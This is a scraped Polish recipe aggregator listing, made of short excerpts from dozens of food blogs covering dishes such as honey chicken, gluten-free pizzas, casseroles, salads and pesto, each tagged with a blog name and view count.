Pyszny i soczysty kurczak w lekko pikantnym sosie z nutą słodyczy. Godne polecenia zestawienie smaków. 4 filety z kurczaka 1 płaska łyżeczka mielonej ostrej papryki 1 płaska łyżeczka pieprzu 1/2 łyżeczki soli 3 ząbki czosnku 1 szklanka mleka 4 łyżki miodu mąka do panierowania oliwa z oliwek Mięso myjemy, osuszamy, nacieramy mieszanką przypraw i odstawiamy na chwilę. W tym czasie

Krokusowy Dom
Roladki z Pieczarkami i Serem w Cieście Francuskim 230

plastry lepiej się kroiły), przekładamy na blachę wyłożoną pergaminem i smarujemy jajkiem. Pieczemy w temp. ok. 180°C przez ok. 15- 25 minut do zrumienienia ciasta. Podajemy z dowolnymi sosami.   Moje posty

Słodka Strona
Kubańska kanapka z boczkiem 272

połówkę. Bierzemy się za smażenie. Kanapkę dociskamy na patelni, na której wcześniej rozpuszczamy masło. Smażymy tak kilka minut, po czym ostrożnie odwracamy kanapkę. I gotowe! Do kanapki możecie używać sosów i keczupu. Czasem do kanapki podawne są też frytki. Koszt: 12 zł jedna kanapka Przygotowanie: 10 minut Kubańska kanapka Kubańska kanapka Kubańska kanapka Artykuł Kubańska kanapka z boczkiem pochodzi

Kuchennyviral.pl
Pełnoziarniste tagliatelle z dynią i szałwią 233

chili, doprawić solą oraz pieprzem i dokładnie wymieszać. 6) Całość zalać śmietanką, dodać parmezan i w razie potrzeby jeszcze doprawić. 7) Na koniec dorzucić ugotowany makaron i połączyć z sosem. 8) Gotowy makaron podawać posypany parmezanem z listkami szałwii. Artykuł Pełnoziarniste tagliatelle z dynią i szałwią pochodzi z serwisu FitSweet

Fitsweet.me
50 przepisów na wrzesień 234

jabłkowo - śliwkowy Koktajl bananowy z nektarynką i śliwką Muffinki ze śliwkami Pieczona owsianka ze śliwkami i kokosem Śliwkowe ciasto z chrupiącymi płatkami migdałów Śliwkowe ciasto z rumowym cappuccino Śliwkowy sos Pieczona dynia z cukinią w ziołach z kaszą jęczmienną Pasta z pieczonej dyni z suszonymi pomidorami i orzechami włoskimi Pesto z pieczonej dyni Spaghetti z pesto z pieczonej dyni Surówka

Moja smaczna kuchnia
Sałatka z rukoli i suszonych pomidorów 195

Sałatka z rukoli, suszonych pomidorów i parmezanu. Jako sos wykorzystuję zalewę z suszonych pomidorów wymieszaną z czosnkiem. Parmezan zetrzeć na tarce o dużych oczkach. Pomidory pokroić na drobniejsze kawałki

Bullio
PIZZA GRYCZANA 159

wykleimy" całą blachę  należy jeszcze wygładzić ciasto oraz delikatnie posmarować olejem.      Teraz już możemy układać na ciasto ulubione dodatki :)) U mnie były to  -sos pomidorowy, cebulka, papryka, kiełbaska, chorizo, pieczarki i mozarella. Wiadomo -  nie jest to typowa pizza do jakiej jesteśmy przyzwyczajeni ale jak dla mnie - idealny zamiennki. PALCE LIZAĆ

BezglutenowaIzabela
PIERŚ Z KURCZAKA "A'LA KFC". BEZGLUTENOWO! :) 187

stopni i pieczemy od 15-20 minut. Długość pieczenie uzależniona jest od grubości  mięsa. GOTOWE!! :)) Można podać z frytkami - jednak mi najlepiej smakuje z domową surówką i sosem czosnkowym. Smacznego

BezglutenowaIzabela
FASZEROWANA CUKINIA 165

czosnek cebulkę przyprawy -bazylia, sól, pieprz ziołowy, ostra paprykę mozarella Mięso usmażyłam z czosnkiem i cebulką. Dodałam paprykę pokrojoną w drobną kostkę oraz pieczarki. Zalałam pomidorami i dusiłam aż sos zrobił się gęsty.  Doprawiłam farsz poczym nafaszerowałam cukinie. Zapiekałam ok 30minut w 180 stopniach - po czym posypałam  mozarellą i zapiekałam jeszcze 10 minut. Pychotka!!! SMACZNEGO

BezglutenowaIzabela
MAKARON BEZGLUTENOWY Z BOCZKIEM I PIECZARKAMI 148

tłusty. Po chwili dodajemy pokrojone pieczarki (ja kroję bardzo drobno). Smażymy na patelni do momentu, aż z pieczarek odparuje nadmiar płynów. Dodajemy śmietanę oraz doprawiamy solą i pieprzem. Otrzymany sos Mieszamy z ugotowanym makaronem. Najlepiej smakuje podawane ciepłe. Można posypać pietruszką.  SMACZNEGO

BezglutenowaIzabela
PIZZA Z CIASTA CHLEBOWEGO - BEZGLUTEN 209

nasze ciasto zwiększyło swoją objętość jeszcze raz wyrabiamy i zabieramy się do dzieła. Ja podzieliłam ciasto na trzy części - wyszły mi trzy różne pizze.  Bazą był oczywiście -   SOS - przecier pomidorowy z oregano - którym smarujemy pizze.   Następnie - czysta improwizacja ;D Co dojrzałam w lodówce wylądowało na pizzy -->  szynka, salami, szpinak, suszone pomidory, pieczarki, kiełbasa, ser feta

BezglutenowaIzabela
ZAPIEKANKA Z KAPUSTY 213

nią zrobić.. WIEM!!!!  1/4 kapusty dwie piersi z kurczaka  4 łyżki przecieru pomidorowego łyżeczka ostrej papryki łyżeczka słodkiej papryki pieprz, sól 200 ml śmietany (do sosów u mnie była to 18%) ser żółty (ok. 0,20 0,30 kg) Poszatkowana kapustę szklimy na patelni. Następnie dusimy ok 10-15 minut. Kurczaka doprawiamy, smażymy.  Kiedy wszystko będzie

BezglutenowaIzabela
OOPSIE BURGERY!! ;) 212

Dodałam tylko to co w burgerze najbardziej istotne.. mięcho :D Do mięsa dodałam jajko, sól, pieprz, trochę ostrej musztardy.Dodałam również troszkę startego sera żółtego. Podałam z sałatą, sosem Develey do hamburgerów (bezglutenowy!!) oraz plasterkiem sera. Mój towarzysz kolacyjny wie jak sprawić Izabeli komplement. Kończąc konsumować rozglądał się po kuchni pytając - "JEST JESZCZE??" :)) POLECAM

BezglutenowaIzabela
ZAPIEKANKA ZIEMNIACZANA 167

Wczoraj było spaghetti. Zostało trochę mięsa.. Oo!! Już wiem - będzie zapiekanka!! :) 4 duuuże ziemniaki mięso mielone (resztka z sosu do spaghetti - można również dodac pozostałości z innego mięsnego obiadu ) mozarella bazylia Ziemniaki gotujemy, kroimy w plastry. układamy do naczynia żarrodpornego. Układamy - ziemniaki, mięso, ziemniaki, mozarella, bazylia. Zapiekamy do momentu zarumnienienia sie sera. Doooooobre! :) SMACZNEGO

BezglutenowaIzabela
GULASZ WIEPRZOWY Z PAPRYKĄ 200

zgapiłam skład i improwizowałam, ponieważ bałam się "mąki pszennej" która występowała w składzie przyprawy) Smażymy na rozgrzanej patelni. Dorzucamy posiekaną cebulkę i rozgnieciony czosnek. Nie używam mąki do zagęszczania sosów jednak gdy mięso smażyło się, posypałam je płaską łyżką mąki (okazało się to dobrym pomysłem). Gdy mięso będzie przysmażone a cebulka zarumieniona wlewamy bulion. (Mmmm.. czuje czosnek!! :) )  Dusimy

BezglutenowaIzabela
MEGA ŻEBERKO Z BOCZKIEM 184

przykryć nasz mięso. Dusimy całość pod przykryciem ok 1.30 minut - sprawdzając co jakiś czas czy nie przywiera do garnka, oraz w celu odwrócenia żeberka. Jeśli mięsko jest miękkie a sos odpowiednio gęsty serwujemy nasze danie z ziemniaczkami oraz surówką. U mnie Coleslaw

BezglutenowaIzabela
WEEKENDOWA PIZZA - bez glutenu, bez laktozy, bez jajek 198

minut. Kiedy wyrośnie i odpocznie formujemy pizze. Z otrzymanego ciasta możemy zrobić "całą blachę" lub dwie małe pizze. Na blachę wyłożona papierem i posmarowaną oliwą wykładamy nasze ciasto, smarujemy sosem pomidorowym, sypiemy bazylią i nakładamy ulubione dodatki. U mnie połowa - szynka, pieczarki, ser druga połowa - tuńczyk papryka, oraz tuńczyk suszone pomidory + ser. Pieczemy 25 minut, 200 stopni

BezglutenowaIzabela
Chipsy z tortilli 256

nagrzewamy do 160 stopni. Chipsy zapiekamy około 12 minut, muszą się nam ładnie zarumienić. Studzimy, po kilku minutach one stwardnieją i są gotowe, możemy jeść same lub z ulubionym sosem :-) Smacznego

kruche babeczki
Tosty z figą, serem pleśniowym, tymiankiem i miodem 226

typu camembert, słodka figa oraz świeży tymianek- zamknięte pomiędzy chrupiące kromki chleba. Pysznym dopełnieniem i wg mnie wręcz obowiązkowym jest miód, ale można użyć syropu klonowego czy skropić słodkim sosem balsamicznym. Najlepiej smakują na ciepło, kiedy to ser cudownie się rozpływa 😋 3 tosty: * camembert- 1 szt. * figa- 2-3 szt. * świeży tymianek- 9 dorodnych gałązek * masło- do posmarowania chleba * chleb

Kraina Miodem Płynąca
pulpety drobiowe koperkowe w sosie śmietanowym... 205

pulpety i po wypłynięciu gotować z 20 minut, ugotowane cedzakiem wyjmować na talerz śmietanę wymieszać z 2 łyżkami mąki, zahartować trochę wywarem, wlać do wywaru i mieszać do zagęstnienia sosu, do smaku doprawić przyprawą w płynie 10 ziemniaków, 1/2 kg fasolki szparagowej, 10 małych marchewek obrać, wszystko włożyć do szybkowara wlać 2 szklanki, 1/2 łyżeczki soli, gotowac w szybkowarze

W Mojej Kuchni Lubię
Żytnie muszle z prawdziwkami w sosie śmietanowo - serowym 164

ryneczkach. Zachęcam zatem do zrobienia tego mega pysznego dania z prawdziwkami. Smak prawdziwków jest jedyny i niepowtarzalny więc nie zastępujcie innym gatunkiem grzybów. Żytnie muszle z prawdziwkami w sosie śmietanowo - serowym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Pizzoplacki 1010

być półpłynne, ale nie za rzadkie.  Na patelni rozgrzewamy olej. Łyżką nakładamy porcje ciasta. Smażymy na złoty kolor - ok. 1 minutę z każdej strony. Podajemy na ciepło z sosem pomidorowym lub czosnkowym. Dzisiaj do placków dorzuciliśmy kilka pieczarek i kawałek czerwonej papryki. Do tej pory dorzucaliśmy również cebulę, kukurydzę, salami i cienką kiełbasę. W każdym przypadku było smacznie :) Jeśli

Kuchnia od dwojga
Kotleciki z cieciorki. Falafel. 171

mąki. Smażyć falafelki do zrumienienia z obu stron. Odłożyć na chwilę na papierowy ręcznik dla odsączenia z nadmiaru tłuszczu. Podawać w bułce pita lub tortilli ze świeżymi warzywami i sosami (np. jogurtowym, ziołowym

zadanie-gotowanie
Makaronowe muszle faszerowane mięsem mielonym 722

Duże makaronowe muszle w sosie pomidorowym faszerowane mielonym mięsem to sycące gorące danie na obiad i na imprezę. W smaku przypomina trochę cannelloni lub lazanię , ładnie się prezentuje i przyjemnie pachnie

Przepisy Kulinarne
Zupa krem z pieczonego kalafiora 199

pieczonego kalafiora, po usmażeniu cebulki warto dodać do rondla pokrojony drobno korzeń dużej pietruszki. Do podania – na totalne zaostrzenie smaku i przy okazji dodanie koloru – perfekcyjnie pasuje tu też sos chimichurri . SKŁADNIKI 4 porcje zupy 1 średni kalafior 850-1000g 3-4 łyżki oleju rzepakowego/ryżowego + jeszcze 2 łyżki oleju 1 duża cebula, 180-200g 3-4 duże

Karo in the Kitchen
Leczo z cukinią, chorizo i wołowiną / Beef, chorizo and zucchini stew 241

wyjątkowy! Chorizo nadaje mu charakteru, a zapewniam, że syci na długo. Lubię podawać tego typu dania ze świeżym i chrupiącym chlebkiem, którym można na koniec zebrać nim resztki pysznego sosu z talerza. Polecam gorąco! Danie jest deczko czasochłonne w przygotowaniu, gdyż wołowina musi się troszkę poddusić żeby uzyskać tą cudowną miękkość. Jednak zapewniam, że przygotowanie go nie jest trudne

karmelowy
Jak przygotować siekane kotlety warzywne z kurczakiem?- czyli test noża szefa kuchni Zwilling® Artis 295

wszystkie składniki.    Z masy formuje małe, owalne kotleciki. Kotlety smażę na rozgrzanym oleju na rumiano z każdej strony. Usmażone kotlety wykładam na talerz i podaję z ulubionym sosem.  SMACZNEGO

Tradycyjna kuchnia Kasi
zapiekanka gyros z ryżem 415

naczynia do zapiekanek, posmarować majonezem i wyłożyć drugą połowę. Na wierzchu ułożyć ser. Wstawić do piekarnika nagrzanego do 180*C i piec aż ser się zarumieni. Można podać z sosem czosnkowym i lekką sałatą

Domowa Cukierenka-Domowa Kuchnia
Domowa bulionetka warzywna, bez chemii i innych niezdrowych dodatków 265

końcu przepis na domową bulionetkę warzywną. Od lat nie stosuję chemicznych bulionetek do zup, a tylko właśnie tą - domową - bo nie ukrywam jest najlepsza. Dodaję ją do zup, sosów czy nawet do gotowania ryżu lub kaszy. Wszędzie pasuje idealnie. Nie ma co się szprycować chemicznymi bulionetkami, kostkami warzywnymi, jak można takie cudo stworzyć w godzinę w domu i wiedzieć

CookYourself
Surówka z czarnej rzepy 145

drobnych oczkach. P osolić i odstawić na 30 minut ,aż puści sok ,który odcedzamy. Sok z cytryny,pieprz,cukier mieszać do połączenia ,dodać jogurt i wszystko dokładnie wymieszać. Gotowym sosem zalać rzepę ,wymieszać i gotowe

w mojej kuchni
Orientalne rolady wołowe 270

Składniki: 2 plastry wołowiny 20 dkg boczniaków włoszczyzna: 1 marchewka, 1 mała pietruszka, kawałek selera 1 puszka mleka kokosowego 1/2 szalotki 2 łyżeczki zielonego pieprzy z zalewy sos sojowy sól, … Czytaj dalej Orientalne rolady wołowe

czarrna od kuchni
Roladki schabowe ze szpinakiem, serem i papryką 419

Roladki schabowe ze szpinakiem, serem i papryką to moja propozycja na niedzielny obiad. Jeżeli znudzą Wam się tradycyjne kotlety schabowe lub też schab w sosie własnym , te roladki będą w sam raz. Aby roladki się nie rozpadały musimy wybrać ładny schab, bez przerostów. Podczas przygotowania każdy kawałek mięsa rozbijałam tłuczkiem, smarowałam musztardą, nakładałam doprawiony szpinak, ser oraz paprykę i zawijałam

Kuchnia Bazylii
Sałatka z awokado i tuńczyka 230

Bardzo łatwa, do tego pyszna i zdrowa sałatka na kolację, śniadanie czy lunch do pracy.  Polecam :) 1 dojrzałe awokado 1 pomidor puszka tuńczyka w sosie własnym 1/2 czerwonej cebulki 2 jajka ugotowane na twardo sól, pieprz Tuńczyka odsączyć z zalewy. Pomidora i awokado pokroić w kostkę, cebulkę posiekać. Białka zetrzeć na drobnej tarce. W pucharkach układać warstwami: pomidor, cebulka

Smakołyki Asi
Fasolka szparagowa z grzybami leśnymi 208

gotować całość ok. 5 minut. Do grzybów dodać rozdrobniony ser pleśniowy, tymianek, odrobinę soli i ostropest. Podgrzewać, aż ser się roztopi. Liście szpinaku pokroić na paski. Do grzybowego sosu dodać odcedzoną fasolkę, szpinak i ewentualnie odrobinę wody z gotowania fasolki. Dokładnie wymieszać i podawać. Danie można posypać pokrojonym chili

Weekendy w domu i ogrodzie
Klopsiki z dynią i pieczarkami 128

wzbogacona o sporą ilość dyni i pieczarek. Konsystencja jest taka jak powinna być w klopsikach, ale smak jest delikatniejszy i z dodatkową nutą grzybów. To wszystko (oczywiście) zatopione w sosie pomidorowym

Milion Smaków
Kotlety ziemniaczane z cukinią 253

Pyszne, wegetariańskie kotlety ziemniaczane z cukinią to wyśmienity sposób na wykorzystanie niezjedzonych ziemniaków z dnia poprzedniego. Podajemy na gorąco, np z sosem pieczarkowym, koperkowym lub chrzanowym i buraczkami. Składniki: 1 kg ugotowanych ziemniaków 1 kg cukinii kilka gałązek natki pietruszki 100 g mąki pszennej jajko 2 łyżki mąki ziemniaczanej ząbek czosnku, papryka ostra, sól, pieprz bułka tarta Przygotowanie Ziemniaki przeciskamy

e-PrzepisyKulinarne
Zapiekanka makaronowa z krewetkami 170

Zapiekanki zawsze kojarzą mi się z daniem pysznym i aromatycznym. Dodaje się do nich wszakże same najpyszniejsze produkty, skleja jakimś sosem i zapieka, potem pyszne danie wjeżdża na stół. Zapiekanka makaronowa z krewetkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
RIGATONI Z KURKAMI W ŚMIETANKOWYM SOSIE Z RUKOLĄ I PARMEZANEM 209

daje rukola. Smak wzbogaciłam o ziarenka kukurydzy, ze świeżej kolby, taka jest pyszna i słodka. Polecam na weekendowy obiad! PRZEPIS NA MAKARON Z KURKAMI RIGATONI Z KURKAMI W ŚMIETANKOWYM SOSIE Z RUKOLĄ I PARMEZANEM SKŁADNIKI: - 2 porcje rigatoni ( pasują też tagliatelle) - 3 garście kurek - 1 mała kolba kukurydzy - 2 garście rukoli - 2 łyżki masła - 2 łyżki oliwy z oliwek - sól

SMYKWKUCHNI
Małdrzyki czy serniczki z patelni? A może po prostu placki z twarogu. 226

możesz obtoczyć w mące. Smaż na małym ogniu,przewracając delikatnie w trakcie smażenia. 6. Odsącz z nadmiaru tłuszczu i... Podawaj z: ulubionymi owocami,  konfiturami, kremami Polane: jogurtami owocowymi sosami miodem roztopioną czekoladą -tak naprawdę z czym dusza zapragnie Smacznego

U Fiolki
Kotlety z kaszy i marchwi Pingwina Larsa. 221

serii: Lars poleca. *przepis z książki Jadłonomii Marty Dymek* Składniki 3/4 szklanki kaszy jaglanej 2-3 marchewki 2 łyżki sosu sojowego mała drobno posiekana cebula 1/2szklanki sezam 1/2szklanki słonecznik natka pietruszki 2-3łyżki bułki tartej mały chlust oleju rzepakowego/oliwy Czytaj więcej

U Fiolki
Śniadaniowe mohito - krem jaglany z bananem, jabłkiem i awokado. (wpis sentymentalny) 226

mlekiem d) gotuj pod przykryciem do miękkości 2. Do kaszy dodaj obrane owoce, jogurt i miód. 3. Zblenderuj. Dosłodź. 4. Podawaj z ulubionymi dodatkami np. ze śliwkami z sosem winnym, orzechami,słonecznikiem... wspólnie jedzone z Siaśką kilka lat temu

U Fiolki
(poznańskie) domowe burgery z indyka, krewetkami i sosem koperkowym 274

pisanie i przepisy - to tak wypadałoby wrzucić tutaj jakąś nową recepturę, co? Z tęsknoty za walizkami,Poznaniem i Siaśką - polecam na początek weekendu domowe burgery z indyka, krewetkami i sosem koperkowym. Szybkie, smaczne i zdrowe. Zapraszam. Dla nie-miesożerców: Wege burgery z botwiny i kaszy \ Czytaj więcej

U Fiolki
Hummus w słoiku. 220

Jestem słoikiem. Lubię słoiki.    Przywożę je też z domu rodziców.  Czasami dostaję z nimi paczkę. (!) W słoikach przechowuję, pasteryzuję zupy, roznoszę rosół, pakuje sosy, upycham owoce zalane alkoholem i przenoszę pasty. Ostatnio w moich słoikach króluje hummus. Zapraszam niżej po przepis. Składniki: (na 1 litr hummusu) 1 szklanka ugotowanej ciecierzyca 3-4 łyżki tahiny 1/3szklanki lodowatej wody

U Fiolki
Co Ci do głowy strzeliło czyli skąd pomysł by prowadzić blog? 287

gotowanie zwykłego rosołu  z koleżankami (trzy osiemnastki w kuchni) skutkowało grą w kamień-papier-nożyce,która dzwoni do domu po przepis... Jednak każda z Nas była mistrzem w sosie pomidorowym i szybkim kurczaku z brokułem. #studia W znajdowanych przepisach brakowało informacji dla żółtodziobów, kolejności pracy w kuchni, przypomnienia kiedy rozgrzać piekarnik. Nie wspominając o błędach w przepisach, pomijaniu produktów

U Fiolki
Gumiklyjzy-czyli śląskie kluski ziemniaczane 281

żółtka, jeszcze inne wcale. Tak naprawdę zależy kto jak się przyzwyczai.  To co jednak jest charakterystyczne dla ów klusek, to maleńkie wgłębienie-dziurka, która ma wypełnić się aromatycznym sosem.  Ja z myślą o niniejszym daniu przywołuję sobie wspomnienia z dzieciństwa, które niejako nawiązują do naszej regionalnej tradycji przygotowywania klusek w ramach dania głównego na niedzielny obiad. Pamiętam

wyjątkowa kucnia
Sałatka a'la Cezar 194

odrobiną tłuszczu.  Mięso odłożyć by „odpoczęło”, a następnie pokroić w kawałki.  Dressing:  Oliwę, jogurt, musztardę i sok z cytryny zmieszać dokładnie za pomocą trzepaczki.  Gdy sos będzie jednolity dodać ser i doprawić solą i pieprzem. Znowu wymieszać.  Na półmisku ułożyć liście sałaty, następnie pomidorki pokrojone w ósemki, jajko i mięso z kurczaka. Na koniec polać

Smakuj życie!
FASZEROWANY KURCZAK SZPINAKIEM 191

smaku 1 łyżeczka czosnku niedźwiedziego 1 łyżeczka czosnku granulowanego 2 łyżki papryki czerwonej ostrej i słodkiej 1 łyżeczka majeranku 1 łyżka suszonej bazyli 2 łyżki oleju rzepakowego 2 łyżki sosu sojowego Szczypta cukru trzcinowego Farsz 6 garści szpinaku 2 cebule 2 ząbki czosnku Sól i pieprz do smaku 2 łyżki natki pietruszki 2 łyżki masła PRZYGOTOWANIE:  Kurczaka myję

Gotowanie Patki
Sałatka z wędzonym kurczakiem i kaszą kuskus + film 508

kolorów – wędzony kurczak, kasza kuskus do tego ogórki kiszone, papryka i czerwona cebula oraz oliwa z oliwek i posiekany koperek tworzą znakomitą całość. Sałatkę można również podać z sosem czosnkowym, doskonale smakuje zajadana ze świeżą bagietką.     składniki na 4 porcje 300 g wędzonego kurczaka 1/2 szklanki kaszy kuskus czerwona cebula czerwona papryka 2-3 ogórki kiszone pęczek

Smakowite Dania
Pieczony kurczak faszerowany pęczakiem 275

bokach obłożyć go pokrojonymi w ósemki jabłkami. Naczynie przykryć pokrywką lub folią aluminiowa. Wstawić do nagrzanego piekarnika, piec 50 minut w temp. 170stC, w trakcie pieczenia polewać kurczaka wytworzonym sosem. Następnie zdjąć pokrywkę i zapiekać jeszcze ok 30 minut, uważając, żeby skórka nie przypaliła się zbyt mocno. Przed podaniem usunąć nitki. Podawać z ulubiona surówką. Smacznego

Obiad gotowy
Wrapy z kurczakiem – zdrowy lunchbox + konkurs Galeo 211

oliwy z oliwek oraz ząbka czosnku. Jak widzicie na zdjęciach, mięso wyszło wspaniale. Jako dodatek do wrapów wybrałam ser cheddar, sałatę rzymską, paprykę czerwoną oraz awokado. Zrezygnowałam z jakichkolwiek sosów, ponieważ po kilku godzinach tortille by nimi mocno nasiąkły i nie były już tak chrupiące. Do przygotowania zdrowego lunchboxa zainspirowała mnie marka Galeo , która zachęciła mnie do stworzenia przepisu

Kuchnia Bazylii
Wilgotne ciasto migdałowe ze śliwkami 164

suchego patyczka.  W międzyczasie przelej syrop, w którym marynowały się śliwki do rondelka. Gotuj go przez chwilę, aż zgęstnieje do konsystencji miodu. Upieczone ciasto polej otrzymanym sosem.  ➤ Rada: Ciasto możesz podawać na ciepło i na zimno, z dodatkiem np. jogurtu greckiego lub lodów, jeśli masz ochotę.  Na podstawie tego przepisu z moimi zmianami

Chilli Czosnek i Oliwa
Sałatka ze szpinakiem i kurczakiem - lekki obiad :) 337

jest bogata w świeże warzywa , liście, będące źródłem witamin. Tym razem dressing pozbawiłam oleju lnianego (bo to go zazwyczaj dodaję), dlatego, że tłuszcze dostarczam z mieszanki Bakal . Ponad to sos wzbogaciłam o słodką paprykę , której obecność bardzo się tu wpasowała i nadała pysznego smaku sałatce.  Składniki (1 porcja): garść miksu sałat garść szpinaku  1/3 papryki  1 mały

Zdrowie na języku :P
Sałatka z pieczonymi krewetkami i dressingiem z awokado 201

naczynia wraz ze świeżą kolendrą, skórką i sokiem z limonki, jogurtem/śmietanką kokosową, pokrojonym kawałkiem czosnku i/lub imbirem (jeśli jest używany), odrobiną soli i pieprzu. Całość zblendować na gładki sos sałatkowy. Posmakować i w razie potrzeby dodać więcej soku, soli lub pieprzu. Jeśli takie są preferencje – rozcieńczyć odrobiną wody. Smacznego!   Zapisz

Even Better Food
Carobnara z cukinią 170

drobnych oczkach. Na patelni podsmażamy boczek, a następnie dodajemy cukinię. Wszystko razem podsmażamy, przyprawiamy solą, pieprze, oraz przeciśniętym przez praskę czosnkiem. Dodajemy śmietanę i mieszamy. Ugotowany makaron mieszamy z sosem. Smacznego! Przepis dodaję do akcji Warzywa dyniowate na durszlak.pl

Życie ze smakiem
Makaron ze szpinakiem, suszonymi pomidorami i orzechami włoskimi 181

kokardki) 1 opakowanie szpinaku baby około 8 sztuk suszonych pomidorów 3 garście orzechów włoskich 2 ząbki czosnku sól himalajska pieprz zioła prowansalskie 1/2 szklanki śmietanki 18% do zup i sosów 3 łyżki oleju z ziołami (tego ze słoika w których były suszone pomidory) 1. Makaron gotujemy według przepisu na opakowaniu. Szpinak myjemy, pomidory kroimy w paski, czosnek obieramy i drobniutko

kruche babeczki
Pesto z bazylii. Pesto bazyliowe. 187

Pesto z bazylii – Pesto bazyliowe – Pesto alla genovese – to nazwa tego samego, pysznego, oryginalnego, włoskiego, zielonego sosu przygotowanego na bazie bazylii, oliwy z oliwek, czosnku, soli i parmezanu. Jego głównym składnikiem są również orzeszki pinii, które można zamienić na orzechy włoskie, ziarna słonecznika czy migdały. Czasami również można parmezan zastąpić innym twardym serem, np. Grana Padano. Tradycyjnie

Kulinarne Przeboje
Pasta jajeczna z rybą z puszki 191

bardzo lubię i często wymyślam nowe smaki. Dzisiaj mam dla Was pastę z rybą z puszki. Miałam makrelę w oleju, ale również możecie wykorzystać inne ryby w oleju lub sosie własnym. Więcej przepisów na smarowidła do pieczywa znajdziecie na moim blogu. Jeśli przygotowaliście jakieś danie z moich przepisów to proszę, podzielcie się opinią w komentarzach. Składniki 6 jajek ugotowanych

O kuchni z uczuciem
Gołąbki z kaszą gryczaną i pieczarkami 237

naczynie wykładamy liśćmi kapusty na to dajemy gołąbki, przykrywamy liśćmi kapusty, podlewamy wodą. Przykrywamy naczynie i wstawiamy do piekarnika. Gołąbki pieczemy a 180 stopniach przez 1 godzinę. Podajemy z sosem pomidorowym lub grzybowym. The post Gołąbki z kaszą gryczaną i pieczarkami appeared first on Thermomix przepisy

Themo przepisy
Pasta paprykowa do dań i sosów 206

świetnymi daniami i smakołykami, tak aby zimą móc wyciągnąć coś na prawdę pysznego i przypomnieć sobie smak lata.  Dziś przygotowałam pastę paprykową, która jest idealna do sosów: Bolognese, Napoli czy wielu innych lub dań: takich jak pieczenie, kotlety mielone, ... Taką pastę możecie użyć jako dodatek do wielu przepisów.  Przygotujcie kilka słoiczków, a na pewno nie pożałujecie

Niezły Młynek
Risotto z kurkami i z polędwicą 243

risotto 1 szklanka bulionu 1 szklanka słodkiego wina 2 łyżki masła 200 g polędwicy Marynata: 2 łyżeczki musztardy dijon 2 łyżeczki miodu 1 łyżeczka czosnku w proszku 2 łyżeczki sosu sojowego Przygotowanie: Wszystkie składniki na marynatę mieszamy w małej miseczce. Połową smarujemy polędwicę i smażymy z każdej strony przez około 1 minutę. Następnie smarujemy resztą marynaty, przekładamy do naczynia żaroodpornego

Delusional Trine
Chutney ze śliwek i czerwonej cebulki 236

ręce, warto go kupić. Co prawda w przepisie jest duszenie śliwek z cebulą jedynie 20 min, ja dusiłam je ze 2h, raz żeby zmiękła cebula, dwa żeby trochę zredukować sos ze śliwek i ocet. {"@context":"http:\/\/schema.org","@type":"Recipe","image":"http:\/\/mieszamwgarnku.pl\/wp-content\/uploads\/2017\/09\/chutney3.jpg","recipeIngredient":["500 g w\u0119gierek\r","150 g cukru (dajcie

Mieszam w Garnku
Bitki wołowe 367

grubo posiekane ząbki czosnku. Gdy cebula się zarumieni przekładamy całość do garnka z mięsem. Dorzucamy pieprz oraz ewentualnie pokrojonego w kostkę ogórka kiszonego i grzybki. Całość zagotowujemy. Gdy sos zacznie bulgotać zmniejszamy ogień i przykrywamy rondel pokrywką. Dusimy co najmniej 1,5 godziny do miękkości mięsa. W trakcie przygotowywania bitek dobrze jest co jakiś czas zamieszać w garnku

Dieta bez mleka
Ziemniaki biedaka 202

ziemniaki stały się rumiane a cebula miękka. Dolewamy gorący wywar, zagotowujemy, przyprawiamy i i dusimy pod przykryciem ok 20 minut. Gdy wywar prawie odparuje rozgniatamy kilka ziemniaków by wchłonęły sos. Podajemy

Dzieje kuchennej Wiewióry
Zupa z dynią, kalafiorem, ziemniakiem i kurkumą 190

średnie ziemniaki natka pietruszki suszone oregano 1 łyżeczka kurkumy sól pieprz 1 łyżka oliwy z oliwek 1 łyżka masła klarowanego  1/2 szklanki śmietany 18% do zup i sosów 1. Kalafiora myjemy, dzielimy na drobne różyczki, dynię obieramy kroimy w kostkę, tak samo ziemniakii cebulę. Czosnek drobno siekamy. 2. Do garnka dajemy łyżkę masła i oliwy z oliwek. Jak masło

kruche babeczki
Bułeczki pizzowe 258

wyciągamy nagrzaną blachę, przekładamy na nią bułeczki. Blachę wstawiamy do piekarnika, jednocześnie obniżając temperaturę do 210 stopni. Pieczemy ok 10 minut lub do lekkiego zbrązowienia bułeczek. Smakują wyśmienicie z sosem czosnkowym.       The post Bułeczki pizzowe appeared first on Thermomix przepisy

Themo przepisy
Szybki makaron w kremowym sosie 204

ćwiartki. Wszystko razem podsmażamy na oliwie z oliwek przez około 2 minuty. Dodajemy bulion, creme fraiche (można zastąpić słodką śmietaną). Doprawiamy suszoną bazylią i pieprzem, gotujemy do momentu aż sos zgęstnieje. Dodajemy ugotowany makaron i pokrojone oliwki. Podajemy posypane parmezanem.  (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Indyjskie chlebki Czapati 213

Indyjskim posiłkom zawsze towarzyszy chleb, który doskonale nadaje się do wybierania gęstych sosów curry oraz stanowi uzupełnienie pikantnych dań, jak również dodatek do zup.Różni się od dobrze znanego nam bochenka, i jest go wiele rodzajów. Ja swoją przygodę zaczęłam od najprostszego z możliwych czyli od przaśnych chlebków czapati. Robi się je bardzo szybko, w między czasie gotowania curry

greenscarf
Karkówka w sosie jogurtowym 350

Soczysta, krucha i przepyszna jest karkówka w sosie jogurtowym. Nic więcej poza przepisem nie powiem :) Składniki : 0,5 kg karkówki 3-4 cebule 200 ml jogurtu greckiego łyżeczka cukru płaska łyżeczka soli pieprz Przygotowanie : Karkówkę kroimy w plastry i rozbijamy Cebulę kroimy w piórka Doprawiamy cukrem, solą i pierzem Dodajemy jogurt i całość mieszamy Gotową marynatą przekładamy plastry karkówki Odstawiamy

Mechanik w kuchni
Duszona Karkówka z Cebulą 413

dodajemy liście laurowe, pieprz w ziarnach oraz ziele angielskie i dokładnie mieszamy do otrzymania gładkiej konsystencji. Na patelni w której smażyliśmy karkówkę umieszczamy kawałki przesmażonego mięsa i zalewamy przygotowanym "sosem". Wszystko dusimy na niedużym ogniu ok. 60 minut do miękkości mięsa. Podajemy z ziemniakami w dowolnej postaci oraz ulubionymi surówkami.        Moje posty

Słodka Strona
Spaghetti pełnoziarniste z owocami morza 167

